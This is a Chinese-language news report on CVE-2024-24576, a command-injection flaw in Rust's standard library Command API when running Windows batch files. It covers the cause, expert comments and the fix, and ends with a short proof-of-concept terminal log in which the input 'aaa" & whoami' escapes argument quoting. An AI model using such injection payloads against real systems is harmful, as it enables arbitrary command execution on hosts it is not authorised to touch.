背景介绍
Rust 编程语言背后的项目声称,对特定 API 的任何调用都是安全的,即使输入的是不安全的内容,但研究人员找到了绕过保护的方法。
一名漏洞研究人员发现,在 Windows 系统上用于执行批处理文件的一个特定函数可能会被利用注入漏洞,Rust 项目组随后发布了该标准库的更新。
Rust 编程语言中包含的一组常用函数(称为标准库)除了其他众多功能外,还提供了通过命令 API 执行 Windows 批处理文件的功能。
根据 4 月 9 日发布的 Rust 安全响应公告来看,该函数对 API 的输入处理不够严格,导致在执行过程中注入代码的可能性。
虽然Rust以其内存安全功能而闻名,但这一事件强调了编程语言无法抵御逻辑错误。
应用安全公司JFrog的高级漏洞研究员Yair Mizrahi称,“总的来说,Rust的内存安全是一个显著的优势,但开发人员还必须密切关注逻辑错误的潜在可能性,以确保基于Rust的应用程序的整体安全性和可靠性”
Windows带来了一系列问题
最新问题不是内存安全漏洞,而是用于处理不受信任输入的逻辑问题。Rust 标准库的一部分允许开发人员调用函数将批处理文件发送到 Windows 机器进行处理。
Rust 基金会的技术总监 Joel Marcey 表示,将代码作为批处理文件提交给主机是有原因的,该基金会为该编程语言的维护者和 Rust 生态系统提供支持。
Joel Marcey 称 “批处理文件在系统上运行的原因有很多,Rust 提供了一个 API 来让用户更加容易地执行这些文件。因此,虽然这不一定是 Rust 最常见的用例,但在实施修复补丁之前,API 理论上允许恶意行为者通过运行任意命令来接管系统,这绝对是一个严重的漏洞。”
通常,Rust 会保证对 Command API 调用的安全性,但在这种情况下,Rust 项目无法找到阻止所有参数执行的方法,主要是因为 Windows 不遵守任何类型的标准,而且 API 可能允许攻击者提交代码,然后执行这些代码。
Rust 安全响应工作组表示:“不幸的是,我们的转义逻辑不够彻底,有可能传递恶意参数,从而导致任意 Shell 执行。”
Rust项目组的快速响应
Rust 项目已经表示可以快速解决问题,标准库漏洞 CVE-2024-24576 最终是 Windows 批处理的一个问题,如果其它编程语言不能充分解析发送到 Windows 批处理过程的参数,也会影响到其它编程语言。
Rust 似乎是第一个修复将参数传递给 Windows CMD.exe 进程的项目。
PoC
以下是来自Github上的PoC:
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
以上由骨哥翻译并整理。